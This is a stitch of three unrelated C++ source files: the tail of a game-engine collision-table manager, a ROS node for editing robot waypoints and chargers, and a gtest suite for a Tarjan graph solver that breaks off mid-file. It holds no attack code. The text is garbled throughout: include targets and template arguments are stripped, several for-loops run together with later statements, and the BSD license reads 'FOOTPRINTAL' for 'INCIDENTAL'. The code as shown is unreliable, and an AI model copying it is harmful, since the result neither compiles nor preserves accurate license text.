&= ~instance2->mGroupId; instance2->mDetectionMask &= ~instance1->mGroupId; } // Now make sure the resolution mask is setup correctly if(!pair.mFilterFlags.IsSet(FilterFlags::SkipResolution)) { instance1->mResolutionMask |= instance2->mGroupId; instance2->mResolutionMask |= instance1->mGroupId; } else { instance1->mResolutionMask &= ~instance2->mGroupId; instance2->mResolutionMask &= ~instance1->mGroupId; } } // We may have new filters added/removed when this step was called, so // remove all of the hashed items and just re-populate from the array mHashedFilters.Clear(); range = mCollisionFilters.All(); for(; !range.Empty(); range.PopFront()) mHashedFilters.Insert(range.Front()); } void CollisionTable::FixSpaces(CollisionTable* newTable) { PhysicsEngine* engine = Z::gEngine->has(PhysicsEngine); PhysicsEngine::SpaceList::range spaceRange = engine->GetSpaces(); for(; !spaceRange.Empty(); spaceRange.PopFront()) { // If a space used this collision table then fix it to use the default PhysicsSpace& space = spaceRange.Front(); if(space.GetCollisionTable() == this) space.FixCollisionTable(newTable); } } CollisionGroup* CollisionTable::GetDefaultGroup() { CollisionGroup* group = CollisionGroupManager::Find(cDefaultCollisionGroup); return group; } //-------------------------------------------------------------------CollisionTableManager ImplementResourceManager(CollisionTableManager, CollisionTable); CollisionTableManager::CollisionTableManager(BoundType* resourceType) : ResourceManager(resourceType) { DefaultResourceName = cDefaultCollisionTable; mCanAddFile = true; AddLoader("CollisionTable", new TextDataFileLoader()); mCategory = "Physics"; mCanCreateNew = true; mOpenFileFilters.PushBack(FileDialogFilter("*.CollisionTable.data")); mExtension = DataResourceExtension; mCanDuplicate = true; CollisionGroupManager* manager = CollisionGroupManager::GetInstance(); ConnectThisTo(this, Events::ResourceNewlyCreated, OnTableCreated); ConnectThisTo(manager, Events::ResourceAdded, OnCollisionGroupAdded); ConnectThisTo(manager, Events::ResourceRemoved, OnCollisionGroupRemoved); } void CollisionTableManager::OnTableCreated(ResourceEvent* event) { // Load all of the existing collision groups into the table CollisionTable* table = (CollisionTable*)event->EventResource; table->LoadExistingGroups(); table->ReconfigureGroups(); } CollisionTable* CollisionTableManager::CreateNewResourceInternal(StringParam name) { CollisionTable* table = new CollisionTable(); table->SetDefaults(); table->Initialize(); table->LoadExistingGroups(); table->ReconfigureGroups(); table->mManager = this; table->Name = name; return table; } void CollisionTableManager::OnCollisionGroupAdded(ResourceEvent* event) { // When a new collision group was added, we need to go through all tables // and register this new group on them if it is set up for auto-registering. CollisionGroup* group = (CollisionGroup*)event->EventResource; forRange(Resource* resource, AllResources()) { CollisionTable* table = (CollisionTable*)resource; if(!table->CanReference(group)) continue; if(table->mAutoRegister) table->RegisterGroup(group); // We have to make sure to save the table so that when we load again this // group is registered (otherwise a user will try to use this group which // should be registered and it won't, resulting in problems) if(table->Name != cDefaultCollisionTable && table->mContentItem) table->mContentItem->SaveContent(); } } void CollisionTableManager::OnCollisionGroupRemoved(ResourceEvent* event) { // If we are unloading, then our destructor will take care of cleaning up our memory if(event->RemoveMode == RemoveMode::Unloading) return; // When a collision group is removed, we need to go through all tables // and unregister this group. CollisionGroup* group = (CollisionGroup*)event->EventResource; // Take all of the tables and remove the given collision group from it. forRange(Resource* resource, AllResources()) { CollisionTable* table = (CollisionTable*)resource; if(!table->CanReference(group)) continue; table->UnRegisterGroup(group); // Don't re-save the collision table here because we will handle missing items during load. // (when we save here our content item might be unloading) } } }//namespace Zero /********************************************************************* * Software License Agreement (BSD License) * * Copyright (c) 2017-2020, Waterplus http://www.6-robot.com * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials provided * with the distribution. * * Neither the name of the WaterPlus nor the names of its * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * FOOTPRINTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. *********************************************************************/ /* @author */ #include #include #include #include #include #include #include #include #include #include #include #include using namespace visualization_msgs; using namespace interactive_markers; using namespace std; static std::vector arWaypoint; static std::vector arCharger; static ros::Publisher marker_pub; static visualization_msgs::Marker text_marker; static InteractiveMarkerServer* pWaypointServer = NULL; static MenuHandler* pMenuWaypoint = NULL; static MenuHandler* pMenuCharger = NULL; bool bDeleteWaypoint = false; std::string strDelWaypointName; bool bDeleteCharger = false; std::string strDelChargerName; bool getNumOfWaypoints(waterplus_map_tools::GetNumOfWaypoints::Request &req, waterplus_map_tools::GetNumOfWaypoints::Response &res) { res.num = arWaypoint.size(); ROS_INFO("Get_num_wp: num_wp = %d", res.num); return true; } bool getWaypointByIndex(waterplus_map_tools::GetWaypointByIndex::Request &req, waterplus_map_tools::GetWaypointByIndex::Response &res) { int nIndex = req.index; int nNumWP = arWaypoint.size(); if(nIndex >= 0 && nIndex < nNumWP) { res.name = arWaypoint[nIndex].name; res.pose = arWaypoint[nIndex].pose; ROS_INFO("Get_wp_index: name = %s", arWaypoint[nIndex].name.c_str()); return true; } else { ROS_INFO("Get_wp_index: failed! index = %d , num_wp = %d", nIndex , nNumWP); return false; } } bool getWaypointByName(waterplus_map_tools::GetWaypointByName::Request &req, waterplus_map_tools::GetWaypointByName::Response &res) { std::string reqName = req.name; int nNumWP = arWaypoint.size(); bool bResultGetWP = false; for(int i=0;iLinkEndChild(RootElement); int nNumWP = arWaypoint.size(); for(int i=0;iInsertEndChild(TiXmlElement("Name"))->InsertEndChild(TiXmlText(arWaypoint[i].name)); WaypointElement->InsertEndChild(TiXmlElement("Pos_x"))->InsertEndChild(TiXmlText(Flt2Str(arWaypoint[i].pose.position.x))); WaypointElement->InsertEndChild(TiXmlElement("Pos_y"))->InsertEndChild(TiXmlText(Flt2Str(arWaypoint[i].pose.position.y))); WaypointElement->InsertEndChild(TiXmlElement("Pos_z"))->InsertEndChild(TiXmlText(Flt2Str(arWaypoint[i].pose.position.z))); WaypointElement->InsertEndChild(TiXmlElement("Ori_x"))->InsertEndChild(TiXmlText(Flt2Str(arWaypoint[i].pose.orientation.x))); WaypointElement->InsertEndChild(TiXmlElement("Ori_y"))->InsertEndChild(TiXmlText(Flt2Str(arWaypoint[i].pose.orientation.y))); WaypointElement->InsertEndChild(TiXmlElement("Ori_z"))->InsertEndChild(TiXmlText(Flt2Str(arWaypoint[i].pose.orientation.z))); WaypointElement->InsertEndChild(TiXmlElement("Ori_w"))->InsertEndChild(TiXmlText(Flt2Str(arWaypoint[i].pose.orientation.w))); RootElement->InsertEndChild(*WaypointElement); } int nNumCharger = arCharger.size(); for(int i=0;iInsertEndChild(TiXmlElement("Name"))->InsertEndChild(TiXmlText(arCharger[i].name)); ChargerElement->InsertEndChild(TiXmlElement("Pos_x"))->InsertEndChild(TiXmlText(Flt2Str(arCharger[i].pose.position.x))); ChargerElement->InsertEndChild(TiXmlElement("Pos_y"))->InsertEndChild(TiXmlText(Flt2Str(arCharger[i].pose.position.y))); ChargerElement->InsertEndChild(TiXmlElement("Pos_z"))->InsertEndChild(TiXmlText(Flt2Str(arCharger[i].pose.position.z))); ChargerElement->InsertEndChild(TiXmlElement("Ori_x"))->InsertEndChild(TiXmlText(Flt2Str(arCharger[i].pose.orientation.x))); ChargerElement->InsertEndChild(TiXmlElement("Ori_y"))->InsertEndChild(TiXmlText(Flt2Str(arCharger[i].pose.orientation.y))); ChargerElement->InsertEndChild(TiXmlElement("Ori_z"))->InsertEndChild(TiXmlText(Flt2Str(arCharger[i].pose.orientation.z))); ChargerElement->InsertEndChild(TiXmlElement("Ori_w"))->InsertEndChild(TiXmlText(Flt2Str(arCharger[i].pose.orientation.w))); RootElement->InsertEndChild(*ChargerElement); } bool res = docSave->SaveFile(inFilename); if(res == true) ROS_INFO("Saved waypoints to file! filename = %s", inFilename.c_str()); else ROS_INFO("Failed to save waypoints... filename = %s", inFilename.c_str()); return res; } bool LoadWaypointsFromFile(std::string inFilename) { TiXmlDocument docLoad(inFilename); bool resLoad = docLoad.LoadFile(); if(resLoad == false) { ROS_INFO("Failed to load waypoints... filename = %s", inFilename.c_str()); return false; } waterplus_map_tools::Waypoint newWayPoint; TiXmlElement* RootElement = docLoad.RootElement(); for(TiXmlNode* item = RootElement->FirstChild("Waypoint");item;item = item->NextSibling("Waypoint")) { TiXmlNode* child = item->FirstChild(); const char* name = child->ToElement()->GetText(); ROS_INFO("Load waypoint : %s", name); newWayPoint.name = std::string(name); child = item->IterateChildren(child); const char* pos_x = child->ToElement()->GetText(); newWayPoint.pose.position.x = std::atof(pos_x); child = item->IterateChildren(child); const char* pos_y = child->ToElement()->GetText(); newWayPoint.pose.position.y = std::atof(pos_y); child = item->IterateChildren(child); const char* pos_z = child->ToElement()->GetText(); newWayPoint.pose.position.z = std::atof(pos_z); child = item->IterateChildren(child); const char* ori_x = child->ToElement()->GetText(); newWayPoint.pose.orientation.x = std::atof(ori_x); child = item->IterateChildren(child); const char* ori_y = child->ToElement()->GetText(); newWayPoint.pose.orientation.y = std::atof(ori_y); child = item->IterateChildren(child); const char* ori_z = child->ToElement()->GetText(); newWayPoint.pose.orientation.z = std::atof(ori_z); child = item->IterateChildren(child); const char* ori_w = child->ToElement()->GetText(); newWayPoint.pose.orientation.w = std::atof(ori_w); arWaypoint.push_back(newWayPoint); } for(TiXmlNode* item = RootElement->FirstChild("Charger");item;item = item->NextSibling("Charger")) { TiXmlNode* child = item->FirstChild(); const char* name = child->ToElement()->GetText(); ROS_INFO("Load charger : %s", name); newWayPoint.name = std::string(name); child = item->IterateChildren(child); const char* pos_x = child->ToElement()->GetText(); newWayPoint.pose.position.x = std::atof(pos_x); child = item->IterateChildren(child); const char* pos_y = child->ToElement()->GetText(); newWayPoint.pose.position.y = std::atof(pos_y); child = item->IterateChildren(child); const char* pos_z = child->ToElement()->GetText(); newWayPoint.pose.position.z = std::atof(pos_z); child = item->IterateChildren(child); const char* ori_x = child->ToElement()->GetText(); newWayPoint.pose.orientation.x = std::atof(ori_x); child = item->IterateChildren(child); const char* ori_y = child->ToElement()->GetText(); newWayPoint.pose.orientation.y = std::atof(ori_y); child = item->IterateChildren(child); const char* ori_z = child->ToElement()->GetText(); newWayPoint.pose.orientation.z = std::atof(ori_z); child = item->IterateChildren(child); const char* ori_w = child->ToElement()->GetText(); newWayPoint.pose.orientation.w = std::atof(ori_w); arCharger.push_back(newWayPoint); } return true; } void DrawTextMarker(ros::Publisher* inPub, std::string inText, int inID, float inScale, float inX, float inY, float inZ, float inR, float inG, float inB) { text_marker.header.frame_id = "map"; text_marker.ns = "text"; text_marker.action = visualization_msgs::Marker::ADD; text_marker.id = inID; text_marker.type = visualization_msgs::Marker::TEXT_VIEW_FACING; text_marker.scale.z = inScale; text_marker.color.r = inR; text_marker.color.g = inG; text_marker.color.b = inB; text_marker.color.a = 1.0; text_marker.pose.position.x = inX; text_marker.pose.position.y = inY; text_marker.pose.position.z = inZ; text_marker.pose.orientation=tf::createQuaternionMsgFromYaw(1.0); text_marker.text = inText; inPub->publish(text_marker); } void RemoveTextMarker() { text_marker.action = 3; marker_pub.publish(text_marker); } void PublishTextMarker() { int nNumWP = arWaypoint.size(); for(int i=0; imarker_name.c_str(), feedback->pose.position.x,feedback->pose.position.y,feedback->pose.position.z, feedback->pose.orientation.x,feedback->pose.orientation.y,feedback->pose.orientation.z,feedback->pose.orientation.w); int nNumWP = arWaypoint.size(); for(int i=0; imarker_name == arWaypoint[i].name) { arWaypoint[i].pose = feedback->pose; } } std::ostringstream s; std::ostringstream mouse_point_ss; if( feedback->mouse_point_valid ) { switch(feedback->event_type) { case visualization_msgs::InteractiveMarkerFeedback::BUTTON_CLICK: //ROS_INFO("BUTTON_CLICK"); break; case visualization_msgs::InteractiveMarkerFeedback::MOUSE_DOWN: //ROS_INFO("MOUSE_DOWN"); break; case visualization_msgs::InteractiveMarkerFeedback::MOUSE_UP: //ROS_INFO("MOUSE_UP"); break; case visualization_msgs::InteractiveMarkerFeedback::MENU_SELECT: //ROS_INFO_STREAM( s.str() << ": menu item " << feedback->menu_entry_id << " clicked" << mouse_point_ss.str() << "." ); break; } } } // 移动充电桩的回调函数 void processChargerFeedback(const visualization_msgs::InteractiveMarkerFeedbackConstPtr &feedback ) { ROS_WARN("[%s] p(%.2f,%.2f,%.2f) r(%.2f,%.2f,%.2f,%.2f)",feedback->marker_name.c_str(), feedback->pose.position.x,feedback->pose.position.y,feedback->pose.position.z, feedback->pose.orientation.x,feedback->pose.orientation.y,feedback->pose.orientation.z,feedback->pose.orientation.w); int nNumChargers = arCharger.size(); for(int i=0; imarker_name == arCharger[i].name) { arCharger[i].pose = feedback->pose; } } std::ostringstream s; std::ostringstream mouse_point_ss; if( feedback->mouse_point_valid ) { switch(feedback->event_type) { case visualization_msgs::InteractiveMarkerFeedback::BUTTON_CLICK: //ROS_INFO("BUTTON_CLICK"); break; case visualization_msgs::InteractiveMarkerFeedback::MOUSE_DOWN: //ROS_INFO("MOUSE_DOWN"); break; case visualization_msgs::InteractiveMarkerFeedback::MOUSE_UP: //ROS_INFO("MOUSE_UP"); break; case visualization_msgs::InteractiveMarkerFeedback::MENU_SELECT: //ROS_INFO_STREAM( s.str() << ": menu item " << feedback->menu_entry_id << " clicked" << mouse_point_ss.str() << "." ); break; } } } // 向服务器添加新的航点操作标记 void NewWaypointInterMarker(InteractiveMarkerServer* inServer,string inName, geometry_msgs::Pose InPose) { visualization_msgs::InteractiveMarker wp_itr_marker; visualization_msgs::InteractiveMarkerControl wp_dis_ctrl; visualization_msgs::Marker wp_dis_marker; visualization_msgs::InteractiveMarkerControl move_control; wp_itr_marker.header.stamp=ros::Time::now(); wp_itr_marker.name = inName; wp_itr_marker.description = inName; wp_itr_marker.pose = InPose; // 显示外形 wp_itr_marker.header.frame_id = "map"; wp_itr_marker.header.stamp=ros::Time::now(); wp_dis_marker.ns = "marker_waypoints"; wp_dis_marker.action = visualization_msgs::Marker::ADD; wp_dis_marker.type = visualization_msgs::Marker::MESH_RESOURCE; wp_dis_marker.mesh_resource = "package://waterplus_map_tools/meshes/waypoint.dae"; wp_dis_marker.scale.x = 1; wp_dis_marker.scale.y = 1; wp_dis_marker.scale.z = 1; wp_dis_marker.color.r = 1.0; wp_dis_marker.color.g = 0.0; wp_dis_marker.color.b = 1.0; wp_dis_marker.color.a = 1.0; wp_dis_ctrl.markers.push_back( wp_dis_marker ); wp_dis_ctrl.always_visible = true; wp_itr_marker.controls.push_back( wp_dis_ctrl ); // 操作设置 move_control.name = "move_x"; move_control.orientation.w = 1.0; move_control.orientation.x = 1.0; move_control.orientation.y = 0.0; move_control.orientation.z = 0.0; move_control.interaction_mode = visualization_msgs::InteractiveMarkerControl::MOVE_AXIS; wp_itr_marker.controls.push_back(move_control); move_control.name = "move_z"; move_control.orientation.x = 0.0; move_control.orientation.z = 1.0; wp_itr_marker.controls.push_back(move_control); move_control.name = "rotate_z"; move_control.orientation.x = 0.0; move_control.orientation.y = 1.0; move_control.orientation.z = 0.0; move_control.interaction_mode = visualization_msgs::InteractiveMarkerControl::ROTATE_AXIS; wp_itr_marker.controls.push_back(move_control); // 加入菜单 visualization_msgs::Marker menu_marker; menu_marker.type = visualization_msgs::Marker::CUBE; menu_marker.scale.x = 0.5; menu_marker.scale.y = 0.5; menu_marker.scale.z = 0.5; menu_marker.color.r = 0.9; menu_marker.color.g = 0.9; menu_marker.color.b = 0.9; menu_marker.color.a = 0.0; //全透明 InteractiveMarkerControl menu_control; menu_control.interaction_mode = InteractiveMarkerControl::BUTTON; menu_control.always_visible = true; menu_control.markers.push_back( menu_marker ); wp_itr_marker.controls.push_back( menu_control ); inServer->insert(wp_itr_marker, &processWaypointFeedback); } // 向服务器添加新的充电桩操作标记 void NewChargerInterMarker(InteractiveMarkerServer* inServer,string inName, geometry_msgs::Pose InPose) { visualization_msgs::InteractiveMarker wp_itr_marker; visualization_msgs::InteractiveMarkerControl wp_dis_ctrl; visualization_msgs::Marker wp_dis_marker; visualization_msgs::InteractiveMarkerControl move_control; wp_itr_marker.header.stamp=ros::Time::now(); wp_itr_marker.name = inName; wp_itr_marker.description = inName; wp_itr_marker.pose = InPose; // 显示外形 wp_itr_marker.header.frame_id = "map"; wp_itr_marker.header.stamp=ros::Time::now(); wp_dis_marker.ns = "marker_chargers"; wp_dis_marker.action = visualization_msgs::Marker::ADD; wp_dis_marker.type = visualization_msgs::Marker::MESH_RESOURCE; wp_dis_marker.mesh_resource = "package://waterplus_map_tools/meshes/charger.dae"; wp_dis_marker.scale.x = 1; wp_dis_marker.scale.y = 1; wp_dis_marker.scale.z = 1; wp_dis_marker.color.r = 0.0; wp_dis_marker.color.g = 0.0; wp_dis_marker.color.b = 1.0; wp_dis_marker.color.a = 1.0; wp_dis_ctrl.markers.push_back( wp_dis_marker ); wp_dis_ctrl.always_visible = true; wp_itr_marker.controls.push_back( wp_dis_ctrl ); // 操作设置 move_control.name = "move_x"; move_control.orientation.w = 1.0; move_control.orientation.x = 1.0; move_control.orientation.y = 0.0; move_control.orientation.z = 0.0; move_control.interaction_mode = visualization_msgs::InteractiveMarkerControl::MOVE_AXIS; wp_itr_marker.controls.push_back(move_control); move_control.name = "move_z"; move_control.orientation.x = 0.0; move_control.orientation.z = 1.0; wp_itr_marker.controls.push_back(move_control); move_control.name = "rotate_z"; move_control.orientation.x = 0.0; move_control.orientation.y = 1.0; move_control.orientation.z = 0.0; move_control.interaction_mode = visualization_msgs::InteractiveMarkerControl::ROTATE_AXIS; wp_itr_marker.controls.push_back(move_control); // 加入菜单 visualization_msgs::Marker menu_marker; menu_marker.type = visualization_msgs::Marker::CUBE; menu_marker.scale.x = 0.5; menu_marker.scale.y = 0.5; menu_marker.scale.z = 0.5; menu_marker.color.r = 0.9; menu_marker.color.g = 0.9; menu_marker.color.b = 0.9; menu_marker.color.a = 0.0; //全透明 InteractiveMarkerControl menu_control; menu_control.interaction_mode = InteractiveMarkerControl::BUTTON; menu_control.always_visible = true; menu_control.markers.push_back( menu_marker ); wp_itr_marker.controls.push_back( menu_control ); inServer->insert(wp_itr_marker, &processChargerFeedback); } // 菜单删除航点的回调函数 void DeleteWaypointCallback( const visualization_msgs::InteractiveMarkerFeedbackConstPtr &feedback ) { strDelWaypointName = feedback->marker_name; bDeleteWaypoint = true; ROS_WARN("Menu - Delete waypoint %s",strDelWaypointName.c_str()); } // 菜单删除充电桩的回调函数 void DeleteChargerCallback( const visualization_msgs::InteractiveMarkerFeedbackConstPtr &feedback ) { strDelChargerName = feedback->marker_name; bDeleteCharger = true; ROS_WARN("Menu - Delete charger %s",strDelChargerName.c_str()); } // 添加新航点回调函数 void AddWayPointCallback(const waterplus_map_tools::Waypoint::ConstPtr& wp) { ROS_INFO("Add_waypoint: %s (%.2f %.2f) (%.2f %.2f %.2f %.2f) ",wp->name.c_str(), wp->pose.position.x, wp->pose.position.y, wp->pose.orientation.x, wp->pose.orientation.y, wp->pose.orientation.z, wp->pose.orientation.w); waterplus_map_tools::Waypoint newWayPoint; newWayPoint = *wp; int nWPNum = arWaypoint.size(); for(int i= 0;iapply( *pWaypointServer, newWayPoint.name ); //通知client(RVIZ)更新显示 pWaypointServer->applyChanges(); } } // 添加新充电桩回调函数 void AddChargerCallback(const waterplus_map_tools::Waypoint::ConstPtr& wp) { ROS_INFO("Add_charger: %s (%.2f %.2f) (%.2f %.2f %.2f %.2f) ",wp->name.c_str(), wp->pose.position.x, wp->pose.position.y, wp->pose.orientation.x, wp->pose.orientation.y, wp->pose.orientation.z, wp->pose.orientation.w); waterplus_map_tools::Waypoint newCharger; newCharger = *wp; int nChargerNum = arCharger.size(); for(int i= 0;iapply( *pWaypointServer, newCharger.name ); //通知client(RVIZ)更新显示 pWaypointServer->applyChanges(); } } int main(int argc, char** argv) { ros::init(argc, argv, "wp_edit_node"); std::string strLoadFile; char const* home = getenv("HOME"); strLoadFile = home; strLoadFile += "/waypoints.xml"; ros::NodeHandle n_param("~"); std::string strParamFile; n_param.param("load", strParamFile, ""); if(strParamFile.length() > 0) { strLoadFile = strParamFile; } if(strLoadFile.length() > 0) { ROS_INFO("Load waypoints from file : %s",strLoadFile.c_str()); LoadWaypointsFromFile(strLoadFile); } else { ROS_WARN("strLoadFile is empty. Failed to load waypoints!"); } ros::NodeHandle nh; //创建服务 interactive_markers::InteractiveMarkerServer wp_server("waypoints_move"); pWaypointServer = &wp_server; marker_pub = nh.advertise("text_marker", 100); ros::Subscriber add_waypoint_sub = nh.subscribe("/waterplus/add_waypoint",10,&AddWayPointCallback); ros::Subscriber add_charger_sub = nh.subscribe("/waterplus/add_charger",10,&AddChargerCallback); ros::ServiceServer srvGetNum = nh.advertiseService("/waterplus/get_num_waypoint", getNumOfWaypoints); ros::ServiceServer srvGetWPIndex = nh.advertiseService("/waterplus/get_waypoint_index", getWaypointByIndex); ros::ServiceServer srvGetWPName = nh.advertiseService("/waterplus/get_waypoint_name", getWaypointByName); ros::ServiceServer srvSaveWP = nh.advertiseService("/waterplus/save_waypoints", saveWaypoints); ros::ServiceServer srvGetChargerName = nh.advertiseService("/waterplus/get_charger_name", getChargerByName); //将互动标记放到标记集合里,同时指定Feedback回调函数 int nWPNum = arWaypoint.size(); ROS_INFO("Num of waypoints = %d",nWPNum); for(int i=0; i< nWPNum; i++) { NewWaypointInterMarker( &wp_server, arWaypoint[i].name, arWaypoint[i].pose ); } MenuHandler menu_waypoint; menu_waypoint.insert( "Delete", &DeleteWaypointCallback); pMenuWaypoint = &menu_waypoint; for(int i=0; i< nWPNum; i++) { menu_waypoint.apply( wp_server, arWaypoint[i].name ); } // 充电桩标记初始化 int nChargerNum = arCharger.size(); ROS_INFO("Num of chargers = %d",nChargerNum); for(int i=0; i< nChargerNum; i++) { NewChargerInterMarker( &wp_server, arCharger[i].name, arCharger[i].pose ); } MenuHandler menu_charger; menu_charger.insert( "Delete", &DeleteChargerCallback); pMenuCharger = &menu_charger; for(int i=0; i< nChargerNum; i++) { menu_charger.apply( wp_server, arCharger[i].name ); } //通知client(RVIZ)更新显示 wp_server.applyChanges(); ros::Rate r(10); while(ros::ok()) { if(bDeleteWaypoint == true) { bDeleteWaypoint = false; wp_server.erase(strDelWaypointName); wp_server.applyChanges(); for(vector::iterator iter=arWaypoint.begin(); iter!=arWaypoint.end(); ) { if( (*iter).name == strDelWaypointName) iter = arWaypoint.erase(iter); else iter ++ ; } ROS_WARN("%s waypoint deleted!",strDelWaypointName.c_str()); RemoveTextMarker(); } if(bDeleteCharger == true) { bDeleteCharger = false; wp_server.erase(strDelChargerName); wp_server.applyChanges(); for(vector::iterator iter=arCharger.begin(); iter!=arCharger.end(); ) { if( (*iter).name == strDelChargerName) iter = arCharger.erase(iter); else iter ++ ; } ROS_WARN("%s charger deleted!",strDelChargerName.c_str()); RemoveTextMarker(); } PublishTextMarker(); ros::spinOnce(); r.sleep(); } return 0; }/* * MIT License * * Copyright (c) 2017 Dat * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #include "gtest/gtest.h" #include "TarjanCore.h" class CoreAlgoTest: public ::testing::Test { protected: void SetUp() { } void TearDown() { Common::setDebugMode(false); } }; TEST_F(CoreAlgoTest, Test2Nodes1Circle) { // Create data graph of a cycle of 2 nodes // 1<->2 auto node1 = std::make_shared("1"); auto node2 = std::make_shared("2"); node1->childNodes.insert(node2); node2->childNodes.insert(node1); TarjanGraph graph; graph.insert(node1); graph.insert(node2); TarjanCore coreSolver(graph); ASSERT_TRUE(coreSolver.solve()); auto solution = coreSolver.getSolution(); EXPECT_EQ(1, solution.size()); } TEST_F(CoreAlgoTest, Test2Nodes2Circle) { // Create data graph of 2 nodes // 1 2 auto node1 = std::make_shared("1"); auto node2 = std::make_shared("2"); TarjanGraph graph; graph.insert(node1); graph.insert(node2); TarjanCore coreSolver(graph); ASSERT_TRUE(coreSolver.solve()); auto solution = coreSolver.getSolution(); EXPECT_EQ(2, solution.size()); } TEST_F(CoreAlgoTest, Test3Nodes2Circle) { // Create data graph of 3 nodes // 1<->2 -> 3 auto node1 = std::make_shared("1"); auto node2 = std::make_shared("2"); auto node3 = std::make_shared("3"); node1->childNodes.insert(node2); node2->childNodes.insert(node1); node2->childNodes.insert(node3); TarjanGraph graph; graph.insert(node1); graph.insert(node2); graph.insert(node3); TarjanCore coreSolver(graph); ASSERT_TRUE(coreSolver.solve()); auto solution = coreSolver.getSolution(); EXPECT_EQ(2, solution.size()); } TEST_F(CoreAlgoTest, Test3Nodes1Circle) { // Create data graph of 3 nodes // 1->2 -> 3 ->1 auto node1 = std::make_shared("1"); auto node2 = std::make_shared("2"); auto node3 = std::make_shared("3"); node1->childNodes.insert(node2); node2->childNodes.insert(node3); node3->childNodes.insert(node1); TarjanGraph graph; graph.insert(node1); graph.insert(node2); graph.insert(node3); TarjanCore coreSolver(graph); ASSERT_TRUE(coreSolver.solve()); auto solution = coreSolver.getSolution(); EXPECT_EQ(1, solution.size()); } TEST_F(CoreAlgoTest, Test4Nodes2Circle) { // Create data graph of 3 nodes // 1<->4 5<->7 auto node1 = std::make_shared("1"); auto node2 = std::make_shared("4"); auto node3 = std::make_shared("5"); auto node4 = std::make_shared("7"); node1->childNodes.insert(node2); node2->childNodes.insert(node1); node3->childNodes.insert(node4); node4->childNodes.insert(node3); TarjanGraph graph; graph.insert(node1); graph.insert(node2); graph.insert(node3); graph.insert(node4); TarjanCore coreSolver(graph); ASSERT_TRUE(coreSolver.solve()); auto solution = coreSolver.getSolution(); EXPECT_EQ(2, solution.size()); } TEST_F(CoreAlgoTest, Test5Nodes3Circle) { // Create data graph of 3 nodes // 0->1->2->1 0->3->4 auto node0 = std::make_shared("0"); auto node1 = std::make_shared("1"); auto node2 = std::make_shared("2"); auto node3 = std::make_shared("3"); auto node4 = std::make_shared("4"); node0->childNodes.insert(node1); node1->childNodes.insert(node2); node2->childNodes.insert(node0); node0->childNodes.insert(node3); node3->childNodes.insert(node4); TarjanGraph graph; graph.insert(node1); graph.insert(node2); graph.insert(node3); graph.insert(node0); graph.insert(node4); TarjanCore coreSolver(graph); ASSERT_TRUE(coreSolver.solve()); auto solution = coreSolver.getSolution(); EXPECT_EQ(3, solution.size()); } TEST_F(CoreAlgoTest, Test4Nodes2Circle2) { // Create data graph of 3 nodes // 1<->2->3<->4 auto node1 = std::make_shared("1"); auto node2 = std::make_shared("2"); auto node3 = std::make_shared("3"); auto node4 = std::make_shared("4"); node1->childNodes.insert(node2); node2->childNodes.insert(node1); node2->childNodes.insert(node3); node3->childNodes.insert(node4); node4->childNodes.insert(node3); TarjanGraph graph; graph.insert(node2); graph.insert(node1); graph.insert(node3); graph.insert(node4); TarjanCore coreSolver(graph); coreSolver.dumpInfo(stdout); ASSERT_TRUE(coreSolver.solve()); auto solution = coreSolver.getSolution(); EXPECT_EQ(2, solution.size()); } TEST_F(CoreAlgoTest, TestComprehensive) { auto nodea = std::make_shared("a"); auto nodeb = std::make_shared("b"); auto nodec = std::make_shared("c"); auto noded = std::make_shared("d"); auto nodee = std::make_shared("e"); auto nodef = std::make_shared("f"); auto nodeg = std::make_shared("g"); auto nodeh = std::make_shared("h"); nodea->childNodes.insert(nodeb); nodea->childNodes.insert(nodef); nodeb->childNodes.insert(nodec); nodeb->childNodes.insert(nodef); nodec->childNodes.insert(noded); nodec->childNodes.insert(nodeg); nodee->childNodes.insert(nodea); nodef->childNodes.insert(nodee); nodef->childNodes.insert(nodeg); nodeg->childNodes.insert(nodec); nodeh->childNodes.insert(nodeg); TarjanGraph graph; graph.insert(nodea); graph.insert(nodeb); graph.insert(nodec); graph.insert(noded); graph.insert(nodee); graph.insert(nodef); graph.insert(nodeg); graph.insert(nodeh); TarjanCore coreSolver(graph); coreSolver.dumpInfo(stdout); ASSERT_TRUE(coreSolver.solve()); auto solution = coreSolver.getSolution(); EXPECT_EQ(4, solution.size()); } TEST_F(CoreAlgoTest, TestComprehensive2) 